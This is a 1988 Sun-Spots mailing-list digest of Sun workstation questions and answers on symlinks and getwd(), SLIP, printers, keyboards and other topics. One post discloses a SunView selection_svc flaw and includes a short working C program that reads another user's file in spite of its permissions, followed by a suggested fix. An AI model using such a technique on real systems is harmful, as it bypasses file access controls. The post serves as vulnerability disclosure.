Sun-Spots-Request@RICE.EDU (William LeFebvre) (05/09/88)
SUN-SPOTS DIGEST Friday, 6 May 1988 Volume 6 : Issue 73 Today's Topics: Re: Symbolic Link Superceding Path Name (3) Re: SLIP on a CISCO box Re: LaserJet+ support: 8 bit data Re: TCPDUMP for SunOS 4.0 selection_svc as security hole! Slight update to braggtools: picktool checking for suntools in csh Redefining keyboards? Info about Printserver 40's? convert dbIII files? Sun rentals? Modula-2 version 2.0? Send contributions to: sun-spots@rice.edu Send subscription add/delete requests to: sun-spots-request@rice.edu Bitnet readers can subscribe directly with the CMS command: TELL LISTSERV AT RICE SUBSCRIBE SUNSPOTS My Full Name Recent backissues are available via anonymous FTP from "titan.rice.edu". For volume X, issue Y, "get sun-spots/vXnY". They are also accessible through the archive server: mail the request "send sun-spots vXnY" to "archive-server@rice.edu" or mail the word "help" to the same address for more information. ---------------------------------------------------------------------- Date: Tue, 26 Apr 88 08:45:23 EDT From: steinmetz!grymoire!barnett@uunet.uu.net (Bruce Barnett) Subject: Re: Symbolic Link Superceding Path Name (1) >If she logs in and does 'pwd', it returns '/usr/appl_dir/kcc'. >If she does 'echo $cwd' it returns '/usr/reliant1/kcc'. >If she does 'echo ~', it returns '/usr/reliant1/kcc'. If *I* log into her >workstation, I get the same results. If user web logs into her >workstation, *he* gets '/usr/reliant1/kcc' consistantly. Here are some things to look at: 1. is there an alias? e.g. alias pwd 'echo $cwd' 2. Is the C-shell variable hardpaths set? (if set, pathnames in the directory stack are resolved to contain no symbolic-link components) example: /usr/mozart is a symbolic link to /home/mozart % echo $cwd /usr/mozart/barnett % cd bin/..;echo $cwd /usr/mozart/barnett % set hardpaths % cd bin/..;echo $cwd /home/mozart/barnett 3. Is the variable HOME set to something different? Some things to watch out for: In the C-shell, the character "~" is an abbreviation of $HOME, which can be set to new values. On the other hand, "~kcc" is determined from the /etc/passwd entry. Bruce G. Barnett <barnett@ge-crd.ARPA> <barnett@steinmetz.UUCP> ------------------------------ Date: Tue, 26 Apr 88 14:28:17 BST From: Steve Platt <steve%mrc-applied-psychology.cambridge.ac.uk@nss.cs.ucl.ac.uk> Subject: Re: Symbolic Link Superceding Path Name (2) In response to recent questions about pwd and symbolic links can I point you back in time to the Customer Distributed Buglist? It seems that SunOs's getwd() routine from 3.0 thru' 3.5 uses stat() to to "walk up the .. tree" (wnl, '88), rather than lstat(). The result is that getwd() may sometimes return a path component that is a symbolic link - depending on the order of directory entries (the "ls -f" command is useful here). Most often, files are created, then symbolic links made to them so "stat" will stumble on the real file/entry first. If the link is first, though, stat() will return data about the file that link points to; and getwd() returns the link in the pathname, rather than the linked file/directory. [[ I hadn't thought of that possibility ... but you're right! --wnl ]] See SUN "feature" number 1000077, in (at least) STB Aug '87, page 437. I'm told that in OS4.0, SUN use BSD4.3's getwd(), which calls lstat() instead, which should help solve this ambiguity! By the way, csh calls getwd() to set the "cwd" variable, and "pwd" returns what getwd() says, I think. So when you login, pwd and "echo $cwd" should start the same. Now, can I wimper about our problem? It relates to getwd() and NFS mounts to servers that may be down ... For a year or so, we have been puzzled as to why one of our servers "hung up" when another server (whos file system we mount) went down. The actual symptom we saw was that users could log in but couldnt always start a (new) csh-shell: depending on what their "cwd" was ... and a lot of progams/scripts need to run csh here ... anyway without going into more detail it turned out that the crucial factor was the relative order of the NFS mount-point and the corresponding component of the "cwd" path. For example on one of our servers, "sirius", a users home directory (on server "rigel") is mounted as /usr/rigel/xyz, that is, rigel's "users" file system is mounted ontop of the (empty) directory in sirius's /usr called "rigel". Also our "unreliable" server, called "vega", is mounted as /usr/vega by sirius, for those folk who might want to get at it (very few use those files while on sirius). Also, sirius itself is a server, with its "users" filesystem mounted in its own /usr/sirius directory/mount point. So, the directory sirius:/usr has three empty directories in it, which are the mount points, called "sirius","rigel" and "vega". Now it so happens that these entries appear in the order "sirius,vega,rigel" - so if vega goes down, anyone with /usr/rigel in their cwd path who calls getwd() (eg csh, pwd) hangs up - as getwd() gropes around trying to stat(/usr/vega). Some of these people have never heard of "vega" and reckon its pretty unfair they have to wait an hour (while vega dumps) before finding out what their cwd is! Maybe re-ordering the /usr directory will help here, but since you are not encouraged to worry about directory entry order it seems like a real (inconvenient) cludge/workaround. The problem goes away if the mount of "vega" is "soft", but we want to write the files, so I want to use "hard". Perhaps mount-on-demand is the answer ... or maybe a vstat() call that avoids the NFS black hole, like lstat() avoided the symbolic link pitfall! Steve Platt Applied Psychology Unit Medical Research Council 15, Chaucer Road Cambridge CB2 2EF 0223 355294 x 114 ------------------------------ Date: Tue, 26 Apr 88 20:03:21 EDT From: umix!lokkur!scs@rutgers.edu (Steve Simmons) Subject: Re: Symbolic Link Superceding Path Name (3) Further poking at our symbolic link problem reveals that if the symbolic link is found in the directory before the dir it points to, the symbolic links name is printed instead of the .. name. We have a partial solution. Workaround: Delete the link, create a bunch of dummy files, re-create the link, delete the dummy files. The link now appears at the end of the directory, and the problem is solved. Without wanting to get into the flame wars that filled unix.wizards on symbolic links, let me say that in no way do I consider this a feature. Symlinks can (and should) do strange and wonderful things, but this for sure isn't one of them. Can anybody explain the behavior to me? Above and beyond that, can anyone claim it's correct behavior? [[ It is not. Read the previous article. getwd should be calling lstat instead of stat. --wnl ]] Many thanks to Doug Moran <...rutgers!ai.sri.com!moran> who independantly found the same solution. He said he noticed it first in 3.0, so it's been there a loooooonng time. Steve Simmons Schlumberger CAD/CAM scs@lokkur.uucp ------------------------------ Date: Tue 26 Apr 88 10:37:42-PDT From: William Westfield <BILLW@mathom.cisco.com> Subject: Re: SLIP on a CISCO box Reference: v6n63 The cisco Terminal server supports SLIP to end nodes only. In particular, you can not have another network behind your sun 4 and expect to route traffic between the two nets over the slip link. Essentially, the cisco allows you to connect hosts via SLIP, but not networks. You can think of the cisco SLIP server as being a long, slow transceiver (MAU) extension cable. The cisco box does ARP replys for hosts that it thinks are on SLIP links, and then forwards the packets along the serial lines. IP packets from the slip host are sent out the ethernet. This version is compatible with 4.3bsd slip, and should work just fine with Suns, too. You could give us a call at 800-553-NETS if you have specific questions that you need answered. Bill Westfield cisco Systems. ------------------------------ Date: Tue, 26 Apr 88 14:18:05 BST From: Aled Morris <aledm%cvaxa.sussex.ac.uk@nss.cs.ucl.ac.uk> Subject: Re: LaserJet+ support: 8 bit data We have two HP LaserJet+s (one on a sun, the other on an Orion1/05 - 4.2BSD). The printcap entry I use looks a little like this: lja.raw:sd=/usr/spool/queues/lja.raw:lf=/usr/adm/lpd.errs: \ :lp=/dev/lj:sh: \ :fs#002:fc#0177775:xs#040040:xc#0137737:br#9600: Hope this helps. By the way - is the LaserJet DVI filter available from the Sun Spots archive? [[ No. All that is available is a shar file containing input and output filters for the laserjet, along with a printcap entry. It is called "sun-source/hp-filters.shar". --wnl ]] Aled Morris systems programmer Janet/Arpa: aledm@uk.ac.sussex.cvaxa | School of Cognitive Science uucp: ..!mcvax!ukc!cvaxa!aledm | University of Sussex talk: +44-(0)273-606755 e2372 | Falmer, Brighton, England ------------------------------ Date: Tue, 26 Apr 88 11:54:12 PDT From: Craig Leres <leres%lbl-helios@lbl-rtsg.arpa> Subject: Re: TCPDUMP for SunOS 4.0 It's been pointed out by several sources that most of the functionality of tcpdump is available through the verbose option of the 4.0 etherfind. So I guess you already have what you've been asking for. Craig ------------------------------ Date: Tue, 26 Apr 88 15:10:53 EDT From: Jeff Glass <jjg%linus@mitre-bedford.arpa> Subject: selection_svc as security hole! Suppose I want to read a file owned by you, but I am denied read access by the file permissions. I log in to your workstation, where you are logged in (or have been logged in since last reboot), and run this program: #include <stdio.h> #include <sys/types.h> #include <suntool/seln.h> main(argc, argv) int argc; char ** argv; { Seln_result ret; ret = seln_hold_file(SELN_SECONDARY, argv[1]); seln_dump_result(stdout, &ret); } like so: % cat your_private_file your_private_file: Permission denied % cc seln_hold_file.c -o seln_hold_file -lsuntool -lsunwindow % ./seln_hold_file your_private_file % get_selection 2 < contents of your_private_file > % This could be troublesome if you run suntools as the superuser, since then I could read any file I wanted to. The only fix that I can think of is to make selection_svc execute with the permissions of some generic user: # rm /usr/bin/selection_svc # cp /usr/bin/suntools /usr/bin/selection_svc # chown nobody /usr/bin/selection_svc # chmod 4755 /usr/bin/selection_svc # /jeff ------------------------------ Date: Tue, 26 Apr 88 22:03:27 EDT From: ted@braggvax.arpa Subject: Slight update to braggtools: picktool Here is a new version of braggtools. The only change in the new shar archive is that picktool now has a scrollbar. Here's the man page: [[ The shar file in the archives has been updated. It is available as "sun-source/braggtools.shar". It can be retrieved via anonymous FTP from the host "titan.rice.edu" or via the archive server with the request "send sun-source/braggtools.shar". For more information about the archive server, send a mail message containing the word "help" to the address "archive-server@rice.edu". --wnl ]] PICKTOOL(1) USER COMMANDS PICKTOOL(1) NAME picktool - Display arguments in panel window for mouse choice SYNOPSIS picktool [-d] arg.. DESCRIPTION Picktool is a window oriented version of Kernighan and Pike's pick command from The Unix Programming Environment. In its simplest form, it takes each argument from the com- mand line and displays it in a Sunview panel subwindow with a choice box beside its name. If the user clicks on the choice box, the item is selected. Another click deselects the item. If there are many arguments, the panel window may be scrolled with a scrollbar on the right, so that all items may be visited. When all the desired items are selected, the user clicks on the Execute button in the top panel of the tool. This causes the names of all the selected items to be printed to the standard output. If no items are selected, nothing is printed. With the -d flag, picktool tries to attach some meaning to its arguments. In particular, it does a stat(2) on each of them, and any that prove to be directories are not included in the selection panel. Picktool is most useful with the shell's command substitu- tion feature (backquotes). For example: lpr `picktool *` will bring up all the name of all the files in the current directory in the selection panel, giving the user the option to print selected files without ever touching the keyboard. Sun Release 3.2 Last change: 1 Thanks, Ted Nolan ted@braggvax.arpa ------------------------------ Date: Mon, 25 Apr 88 06:42:09 PDT From: JQ Johnson <!intel.com!uoregon!drizzle.cs.uoregon.edu!jqj%omepd.Berkeley.EDU@ucbvax.berkeley.edu> Subject: checking for suntools in csh In a recent issue of sun-spots the request was made for a way to determine if a shell is being run under suntools. WNL suggested using `tty` and checking for /dev/console. The problem with this is that sometimes people run something besides suntools on the console (e.g. nothing or X). I use: if (`/usr/bin/tty` == /dev/console && ! $?WINDOW_ME ) then # it's suntools else # not suntools endif I would be interested in knowing what people do to unambiguously identify a csh running under X or NeWS. ------------------------------ Date: Tue, 26 Apr 88 21:04:03 EDT From: Seth Robertson <rseth@capricorn.ctr.columbia.edu> Subject: Redefining keyboards? I am interested in redefining a sun 3/50 keyboard. Basicly all I want to do is make the R[1,15] keys into a numberic keypad (sounds reasonable), but I cannot find out how. In fact the only reference I have seen in the manual is setkeys(1), where it states: (under the category Nosunview) ... valid only on a Sun2 or Sun3 keyboard, and incompatible with "lefty", "noarrows," or "reset". This option assignes new codes to keys F1 and L2-L10, codes that are not normally produced anywhere on the keyboards. These codes may be selected by a mapi or mapo operation defined in a user's .ttyswrc file. I have looked at the KB and KBD entries in the manual, but they don't seem to have very much usable information, because I _don't_ want to write a Virtual User Input Device Driver. This seems like a pretty standard request, but it doesn't seem like they want people doing it. BTW, just as a little "hint", I would suggest not trying "stty sun1 reset" on a sun3 keyboard, especially if it happens to be the console. That causes no end of trouble... -seth Seth Robertson a.k.a Earendur Ranger 35th Lord of Andunie in Numenor Center for Telecommunications Research at Columbia University seth@ctr.columbia.edu sjr@cunixc.columbia.edu ------------------------------ Date: Tue, 26 Apr 88 15:22:57 PDT From: Steve Blair <ascway.UUCP!scb@spar-20.spar.slb.com> Subject: Info about Printserver 40's? Has anyone out there had any good/bad experiences with the DEC(tm) Printserver 40 printers? We have a couple and I'd love to have our Sun's use them instead of these @#$ slow Apple Laserwriters(tm). 40+ pages/minute is a whole world better than 8pages/minute. If so, would you be willing to send me some info: 1) How to deal with it as an Ethernet host. 2) Postscript sets supported. 3) How to transfer to it. 4) A Printcap. thanks to all of y'all!!!! steve blair Schlumberger Technology Corporation Austin, Texas uucp:{backbone}!sun!decwrl!spar!ascway!blair !sun!texsun!austsun!ascway!blair Disclaimer: I have opinions, You have them too, mine are mine ONLY!! ------------------------------ Date: 26 Apr 88 14:12:37 EDT (Tue) From: axiom!lpi!jdc@harvard.harvard.edu Subject: convert dbIII files? I would like to find a database package for Sun OS 3.2 with the capability of reading dbaselll files, either directly or for a one-time conversion. If that is impossible can anyone recommend a database package that will minimize the pain of doing the conversion ourselves? Thanks, Dustin Clampitt Language Processors Inc. 959 Concord St., Framingham, MA 01701 ------------------------------ Date: Tue, 26 Apr 88 20:34:31 edt From: suneast!alliant!werme@sun.com (Ric Werme) Subject: Sun rentals? Logicraft would like to rent a Sun 3 for a month or so to port their 386ware product to it (an Ethernet box that runs up to 8 MS-DOS processes so you don't need PCs all over the place too). Unfortunately, all our usual suppliers say they don't carry Sun but offer to rent us a DEC workstation instead. Any pointers to rental sources would be appreciated, as would anyone else who could help out more directly (e.g. barter a server for development time). Reply either to linus!alliant!werme or Mark Phaneuf at 603-880-0300. ------------------------------ Date: Tue, 26 Apr 88 18:47:41 +0200 From: "Christian S. Collberg" <collberg@dna.lth.se> Subject: Modula-2 version 2.0? When last I contacted Sun about the new (version 2.0) release of the Modula-2 compiler they assured me it would be out before the end of 1987. I have not heard anything further since then. Does anyone have any information about the new version, such as new features, bugs fixed, and - last but not least - the planned date of release? Christian Collberg collberg@dna.lu.se ------------------------------ End of SUN-Spots Digest ***********************